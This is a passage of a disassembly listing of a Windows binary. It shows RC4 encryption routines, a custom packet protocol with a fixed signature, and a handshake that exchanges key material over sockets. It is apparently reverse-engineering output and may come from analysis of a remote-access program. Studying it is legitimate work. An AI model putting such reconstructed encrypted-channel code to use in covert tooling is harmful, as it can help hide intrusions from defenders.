		sub	edi, esi
		add	ebx, esi


loc_442733:				; CODE XREF: sub_442708+Cj
		test	edi, edi
		jg	short loc_442716
		mov	eax, [ebp+arg_8]


loc_44273A:				; CODE XREF: sub_442708+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_442708	endp


; =============== S U B	R O U T	I N E =======================================



sub_44273F	proc near		; CODE XREF: DMN1:00442803p
					; DMN1:00444BF0p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	esi, esi
		push	[esp+8+arg_0]
		call	sub_447C89	; inet_addr
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_442773
		push	[esp+8+arg_0]
		call	sub_447C8F	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_44276A
		or	eax, 0FFFFFFFFh
		jmp	short loc_442775
; ---------------------------------------------------------------------------


loc_44276A:				; CODE XREF: sub_44273F+24j
		mov	eax, [esi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_442775
; ---------------------------------------------------------------------------


loc_442773:				; CODE XREF: sub_44273F+15j
		mov	eax, ebx


loc_442775:				; CODE XREF: sub_44273F+29j
					; sub_44273F+32j
		pop	esi
		pop	ebx
		retn
sub_44273F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		mov	dword ptr [ebp-14h], 10h
		lea	ebx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_447C95	; getsockname
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4427B8
		xor	eax, eax
		jmp	short loc_4427D3
; ---------------------------------------------------------------------------


loc_4427B8:				; CODE XREF: DMN1:004427B2j
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-0Ch]
		mov	[edx], eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		call	sub_447C77	; htons
		mov	edx, [ebp+10h]
		mov	[edx], ax
		xor	eax, eax
		inc	eax


loc_4427D3:				; CODE XREF: DMN1:004427B6j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	byte ptr [ebp-400h], 0
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		call	sub_447C9B	; gethostname
		lea	eax, [ebp-400h]
		push	eax
		call	sub_44273F
		pop	ecx
		mov	ebx, eax
		mov	[ebp-404h], ebx
		mov	eax, [ebp-404h]
		push	eax
		call	sub_447CA1	; inet_ntoa
		mov	esi, eax
		push	esi
		lea	eax, [ebp-400h]
		push	eax
		push	offset aSIsS	; "%s is %s\n"
		call	nullsub_4
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44283C	proc near		; CODE XREF: sub_4429D6+14p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+400h], 0
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+404h], 0
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx


loc_44285E:				; CODE XREF: sub_44283C+2Cj
		mov	[ebx+ecx*4], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_44285E
		and	[ebp+var_8], 0
		xor	edi, edi
		xor	ecx, ecx


loc_442872:				; CODE XREF: sub_44283C+77j
		lea	eax, [ebx+ecx*4]
		mov	[ebp+var_C], eax
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		mov	esi, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+esi]
		add	eax, edx
		movzx	edi, al
		mov	eax, [ebx+edi*4]
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+edi*4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		cmp	eax, [ebp+arg_8]
		jl	short loc_4428AC
		and	[ebp+var_8], 0


loc_4428AC:				; CODE XREF: sub_44283C+6Aj
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_442872
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44283C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4428BC	proc near		; CODE XREF: sub_442A5B+86p
					; sub_442B2D+71p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+400h]
		mov	edi, [eax+404h]
		mov	ecx, eax
		and	[ebp+var_8], 0
		jmp	short loc_442923
; ---------------------------------------------------------------------------


loc_4428DC:				; CODE XREF: sub_4428BC+6Dj
		lea	eax, [ebx+1]
		movzx	ebx, al
		lea	eax, [ecx+ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		movzx	edi, dl
		mov	edx, [ecx+edi*4]
		mov	[ebp+var_C], edx
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	[ecx+edi*4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+var_10], eax
		movsx	edx, byte ptr [eax]
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_C]
		add	eax, esi
		movzx	eax, al
		xor	edx, [ecx+eax*4]
		mov	al, dl
		mov	edx, [ebp+var_10]
		mov	[edx], al
		inc	[ebp+var_8]


loc_442923:				; CODE XREF: sub_4428BC+1Ej
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jl	short loc_4428DC
		mov	edx, [ebp+arg_0]
		mov	[edx+400h], ebx
		mov	edx, [ebp+arg_0]
		mov	[edx+404h], edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4428BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442944	proc near		; CODE XREF: DMN1:00444CAFp

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	474h
		call	sub_441FC9
		pop	ecx
		mov	esi, eax
		push	10020h
		call	sub_441FC9
		pop	ecx
		mov	[esi+46Ch], eax
		mov	[ebp+var_1], 5Ah
		xor	ebx, ebx


loc_44296E:				; CODE XREF: sub_442944+3Fj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+4], al
		movsx	eax, [ebp+var_1]
		lea	eax, [ebx+eax*2]
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_44296E
		mov	[ebp+var_1], 0A5h
		xor	ebx, ebx


loc_44298B:				; CODE XREF: sub_442944+5Dj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+44h], al
		movsx	eax, [ebp+var_1]
		add	eax, eax
		sub	eax, ebx
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_44298B
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [esi+46Ch]
		mov	[esi+470h], eax
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442944	endp


; =============== S U B	R O U T	I N E =======================================



sub_4429BC	proc near		; CODE XREF: DMN1:00444F3Fp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	dword ptr [ebx+46Ch]
		call	sub_441FF7
		pop	ecx
		push	ebx
		call	sub_441FF7
		pop	ecx
		pop	ebx
		retn
sub_4429BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4429D6	proc near		; CODE XREF: sub_442A5B+27p
					; sub_442B2D+36p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	40h
		lea	eax, [ebx+4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_44283C
		add	esp, 0Ch
		mov	al, [ebx+4]
		mov	[ebp+var_1], al
		push	3Fh
		lea	eax, [ebx+5]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	al, [ebp+var_1]
		mov	[ebx+43h], al
		xor	esi, esi
		xor	edi, edi
		jmp	short loc_442A2E
; ---------------------------------------------------------------------------


loc_442A16:				; CODE XREF: sub_4429D6+5Bj
		lea	eax, [ebx+esi+4]
		mov	dl, [ebx+edi+44h]
		add	[eax], dl
		lea	eax, [edi+1]
		mov	ecx, 20h
		cdq
		idiv	ecx
		mov	edi, edx
		inc	esi


loc_442A2E:				; CODE XREF: sub_4429D6+3Ej
		cmp	esi, 40h
		jl	short loc_442A16
		mov	al, [ebx+63h]
		mov	[ebp+var_1], al
		mov	esi, 1Fh


loc_442A3E:				; CODE XREF: sub_4429D6+76j
		lea	eax, [esi-1]
		mov	al, [ebx+eax+44h]
		mov	[ebx+esi+44h], al
		dec	esi
		test	esi, esi
		jg	short loc_442A3E
		mov	al, [ebp+var_1]
		mov	[ebx+44h], al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4429D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442A5B	proc near		; CODE XREF: sub_442B10+13p
					; sub_442CF7+8Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jl	short loc_442A74
		cmp	esi, 0FFFFh
		jle	short loc_442A7B


loc_442A74:				; CODE XREF: sub_442A5B+Fj
		xor	eax, eax
		jmp	loc_442B09
; ---------------------------------------------------------------------------


loc_442A7B:				; CODE XREF: sub_442A5B+17j
		cmp	[ebp+arg_10], 0
		jz	short loc_442A88
		push	ebx
		call	sub_4429D6
		pop	ecx


loc_442A88:				; CODE XREF: sub_442A5B+24j
		mov	edi, [ebx+46Ch]
		mov	word ptr [edi],	29Ah
		add	edi, 2
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 2
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		test	esi, esi
		jz	short loc_442ABA
		push	esi
		push	[ebp+arg_8]
		push	edi
		call	sub_4485B1
		add	esp, 0Ch


loc_442ABA:				; CODE XREF: sub_442A5B+50j
		add	esi, 6
		push	esi
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
		call	nullsub_4
		add	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jz	short loc_442AE9
		push	esi
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4428BC
		add	esp, 0Ch


loc_442AE9:				; CODE XREF: sub_442A5B+79j
		push	esi
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_442708
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], esi
		jge	short loc_442B06
		xor	eax, eax
		jmp	short loc_442B09
; ---------------------------------------------------------------------------


loc_442B06:				; CODE XREF: sub_442A5B+A5j
		xor	eax, eax
		inc	eax


loc_442B09:				; CODE XREF: sub_442A5B+1Bj
					; sub_442A5B+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442A5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442B10	proc near		; CODE XREF: DMN1:00442EC8p
					; DMN1:00444DCBp

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		movzx	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_442A5B
		add	esp, 14h
		pop	ebp
		retn
sub_442B10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442B2D	proc near		; CODE XREF: sub_442CDC+11p
					; DMN1:00442DB6p

var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_10]
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	short loc_442B56
		cmp	eax, 0FFFFh
		jle	short loc_442B5E


loc_442B56:				; CODE XREF: sub_442B2D+20j
		or	eax, 0FFFFFFFFh
		jmp	loc_442CD5
; ---------------------------------------------------------------------------


loc_442B5E:				; CODE XREF: sub_442B2D+27j
		test	esi, esi
		jz	short loc_442B69
		push	ebx
		call	sub_4429D6
		pop	ecx


loc_442B69:				; CODE XREF: sub_442B2D+33j
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		push	dword ptr [ebx]
		call	sub_44265D
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_442B90
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_442CD5
; ---------------------------------------------------------------------------


loc_442B90:				; CODE XREF: sub_442B2D+51j
		test	esi, esi
		jz	short loc_442BA6
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4428BC
		add	esp, 0Ch


loc_442BA6:				; CODE XREF: sub_442B2D+65j
		cmp	[ebp+var_6], 29Ah
		jz	short loc_442BC9
		movzx	eax, [ebp+var_6]
		push	eax
		push	offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	eax, 0FFFFFFFEh
		jmp	loc_442CD5
; ---------------------------------------------------------------------------


loc_442BC9:				; CODE XREF: sub_442B2D+7Fj
		push	2
		push	[ebp+arg_4]
		push	dword ptr [ebx]
		call	sub_44265D
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_442BEF
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_442CD5
; ---------------------------------------------------------------------------


loc_442BEF:				; CODE XREF: sub_442B2D+B0j
		test	esi, esi
		jz	short loc_442C04
		push	2
		push	[ebp+arg_4]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4428BC
		add	esp, 0Ch


loc_442C04:				; CODE XREF: sub_442B2D+C4j
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_44265D
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_442C3E
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_442CD5
; ---------------------------------------------------------------------------


loc_442C3E:				; CODE XREF: sub_442B2D+FFj
		test	esi, esi
		jz	short loc_442C54
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4428BC
		add	esp, 0Ch


loc_442C54:				; CODE XREF: sub_442B2D+113j
		push	[ebp+arg_C]
		push	[ebp+var_4]
		push	offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
		call	nullsub_4
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_442C8C
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_44265D
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_442C8C
		or	eax, 0FFFFFFFFh
		jmp	short loc_442CD5
; ---------------------------------------------------------------------------


loc_442C8C:				; CODE XREF: sub_442B2D+13Ej
					; sub_442B2D+158j
		test	esi, esi
		jz	short loc_442CA5
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4428BC
		add	esp, 0Ch


loc_442CA5:				; CODE XREF: sub_442B2D+161j
		cmp	[ebp+arg_8], 0
		jz	short loc_442CD2
		mov	eax, [ebp+arg_C]
		cmp	[ebp+var_4], eax
		jle	short loc_442CB9
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax


loc_442CB9:				; CODE XREF: sub_442B2D+184j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_442CD2
		push	eax
		push	dword ptr [ebx+46Ch]
		push	[ebp+arg_8]
		call	sub_4485B1
		add	esp, 0Ch


loc_442CD2:				; CODE XREF: sub_442B2D+17Cj
					; sub_442B2D+191j
		mov	eax, [ebp+var_4]


loc_442CD5:				; CODE XREF: sub_442B2D+2Cj
					; sub_442B2D+5Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442B2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442CDC	proc near		; CODE XREF: sub_442ED2+18p
					; DMN1:00444E2Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_442B2D
		add	esp, 14h
		pop	ebp
		retn
sub_442CDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442CF7	proc near		; CODE XREF: DMN1:00444D26p

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		lea	edi, [ebp+var_80]
		lea	edi, [ebp+var_80]
		mov	word ptr [edi],	1
		add	edi, 2
		mov	word ptr [edi],	9
		add	edi, 2
		and	dword ptr [edi], 0
		add	edi, 4
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 4
		or	esi, 1000h
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		mov	word ptr [edi],	40h
		add	edi, 2
		mov	word ptr [edi],	20h
		add	edi, 2
		push	40h
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_4485B1
		add	esp, 0Ch
		add	edi, 40h
		push	20h
		lea	eax, [ebx+44h]
		push	eax
		push	edi
		call	sub_4485B1
		add	esp, 0Ch
		add	edi, 20h
		push	0
		lea	eax, [ebp+var_80]
		mov	edx, edi
		sub	edx, eax
		push	edx
		lea	eax, [ebp+var_80]
		push	eax
		push	1
		push	ebx
		call	sub_442A5B
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442CF7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	ebx, [ebp-80h]
		push	0
		push	80h
		lea	eax, [ebp-80h]
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_442B2D
		add	esp, 14h
		mov	esi, eax
		cmp	word ptr [ebp-84h], 1
		jnz	short loc_442DCF
		cmp	esi, 0Ah
		jge	short loc_442DFC


loc_442DCF:				; CODE XREF: DMN1:00442DC8j
		cmp	esi, 0Ah
		jge	short loc_442DE1
		push	offset aHandshakeRecvE ; "Handshake: recv() error\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_442DF5
; ---------------------------------------------------------------------------


loc_442DE1:				; CODE XREF: DMN1:00442DD2j
		movzx	eax, word ptr [ebp-84h]
		push	eax
		push	offset aHandshakeBadPa ; "Handshake: bad packed	(%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx


loc_442DF5:				; CODE XREF: DMN1:00442DDFj
		xor	eax, eax
		jmp	loc_442EB0
; ---------------------------------------------------------------------------


loc_442DFC:				; CODE XREF: DMN1:00442DCDj
		lea	ebx, [ebp-80h]
		cmp	word ptr [ebx],	1
		jz	short loc_442E1C
		movzx	eax, word ptr [ebx]
		push	eax
		push	offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	loc_442EB0
; ---------------------------------------------------------------------------


loc_442E1C:				; CODE XREF: DMN1:00442E03j
		add	ebx, 2
		mov	edx, [ebp+0Ch]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		add	ebx, 4
		mov	edx, [ebp+10h]
		mov	ax, [ebx]
		mov	[edx], ax
		add	ebx, 4
		mov	edx, [ebp+14h]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		mov	ax, [ebx]
		mov	[ebp-82h], ax
		add	ebx, 2
		cmp	word ptr [ebp-82h], 40h
		jz	short loc_442E5F
		xor	eax, eax
		jmp	short loc_442EB0
; ---------------------------------------------------------------------------


loc_442E5F:				; CODE XREF: DMN1:00442E59j
		mov	di, [ebx]
		add	ebx, 2
		cmp	di, 20h
		jz	short loc_442E6F
		xor	eax, eax
		jmp	short loc_442EB0
; ---------------------------------------------------------------------------


loc_442E6F:				; CODE XREF: DMN1:00442E69j
		sub	esi, 10h
		movzx	eax, word ptr [ebp-82h]
		movzx	edx, di
		add	eax, edx
		cmp	esi, eax
		jge	short loc_442E86
		xor	eax, eax
		jmp	short loc_442EB0
; ---------------------------------------------------------------------------


loc_442E86:				; CODE XREF: DMN1:00442E80j
		push	40h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		add	ebx, 40h
		push	20h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 44h
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_442EB0:				; CODE XREF: DMN1:00442DF7j
					; DMN1:00442E17j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1
		lea	eax, [ebp+0Ch]
		push	eax
		push	29Ah
		push	dword ptr [ebp+8]
		call	sub_442B10
		add	esp, 10h
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442ED2	proc near		; CODE XREF: DMN1:00444D4Ep
					; DMN1:00444E05p

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_442CDC
		add	esp, 10h
		mov	ebx, eax
		cmp	[ebp+var_4], 29Ah
		jnz	short loc_442F01
		cmp	ebx, 1
		jz	short loc_442F06


loc_442F01:				; CODE XREF: sub_442ED2+28j
		or	eax, 0FFFFFFFFh
		jmp	short loc_442F0A
; ---------------------------------------------------------------------------


loc_442F06:				; CODE XREF: sub_442ED2+2Dj
		movzx	eax, [ebp+var_2]


loc_442F0A:				; CODE XREF: sub_442ED2+32j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442ED2	endp


; =============== S U B	R O U T	I N E =======================================



sub_442F0F	proc near		; CODE XREF: sub_447672+3Ap
		push	ebx
		push	10h
		call	sub_441FC9
		pop	ecx
		mov	ebx, eax
		pop	ebx
		retn
sub_442F0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_442F1C	proc near		; CODE XREF: DMN1:00442F55p
					; DMN1:00443160p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_442F47
		mov	esi, [ebx+4]
		jmp	short loc_442F38
; ---------------------------------------------------------------------------


loc_442F2C:				; CODE XREF: sub_442F1C+1Ej
		mov	edi, esi
		mov	esi, [esi+8]
		push	edi
		call	sub_441FF7
		pop	ecx


loc_442F38:				; CODE XREF: sub_442F1C+Ej
		test	esi, esi
		jnz	short loc_442F2C
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		and	dword ptr [ebx+8], 0


loc_442F47:				; CODE XREF: sub_442F1C+9j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_442F1C	endp

; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, [esp+8]
		test	ebx, ebx
		jz	short loc_442F62
		push	ebx
		call	sub_442F1C
		pop	ecx
		push	ebx
		call	sub_441FF7
		pop	ecx


loc_442F62:				; CODE XREF: DMN1:00442F52j
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_442F64	proc near		; CODE XREF: DMN1:004452FEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_4]
		mov	bx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	edx, [eax+4]
		jmp	short loc_442F8B
; ---------------------------------------------------------------------------


loc_442F77:				; CODE XREF: sub_442F64+29j
		cmp	[edx+4], ecx
		jnz	short loc_442F88
		test	bx, bx
		jz	short loc_442F86
		cmp	[edx], bx
		jnz	short loc_442F88


loc_442F86:				; CODE XREF: sub_442F64+1Bj
		jmp	short loc_442F8F
; ---------------------------------------------------------------------------


loc_442F88:				; CODE XREF: sub_442F64+16j
					; sub_442F64+20j
		mov	edx, [edx+8]


loc_442F8B:				; CODE XREF: sub_442F64+11j
		test	edx, edx
		jnz	short loc_442F77


loc_442F8F:				; CODE XREF: sub_442F64:loc_442F86j
		mov	eax, edx
		pop	ebx
		retn
sub_442F64	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	14h
		call	sub_441FC9
		pop	ecx
		mov	esi, eax
		mov	eax, [ebx+4]
		mov	[esi+8], eax
		mov	[ebx+4], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_442FB3
		mov	[ebx], esi


loc_442FB3:				; CODE XREF: DMN1:00442FAFj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+10h]
		mov	[esi+4], eax
		mov	ax, [esp+14h]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_442FCA	proc near		; CODE XREF: DMN1:00443177p
					; sub_444B07+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		push	14h
		call	sub_441FC9
		pop	ecx
		mov	esi, eax
		cmp	dword ptr [ebx], 0
		jz	short loc_442FE8
		mov	edx, [ebx]
		mov	[edx+8], esi
		mov	[ebx], esi
		jmp	short loc_442FED
; ---------------------------------------------------------------------------


loc_442FE8:				; CODE XREF: sub_442FCA+13j
		mov	[ebx], esi
		mov	[ebx+4], esi


loc_442FED:				; CODE XREF: sub_442FCA+1Cj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+8+arg_4]
		mov	[esi+4], eax
		mov	ax, [esp+8+arg_8]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_442FCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_443004	proc near		; CODE XREF: DMN1:0044311Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	bx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_443031
; ---------------------------------------------------------------------------


loc_443017:				; CODE XREF: sub_443004+2Fj
		mov	eax, [esp+0Ch+arg_4]
		cmp	[esi+4], eax
		jnz	short loc_44302C
		test	bx, bx
		jz	short loc_44302A
		cmp	[esi], bx
		jnz	short loc_44302C


loc_44302A:				; CODE XREF: sub_443004+1Fj
		jmp	short loc_443035
; ---------------------------------------------------------------------------


loc_44302C:				; CODE XREF: sub_443004+1Aj
					; sub_443004+24j
		mov	edi, esi
		mov	esi, [esi+8]


loc_443031:				; CODE XREF: sub_443004+11j
		test	esi, esi
		jnz	short loc_443017


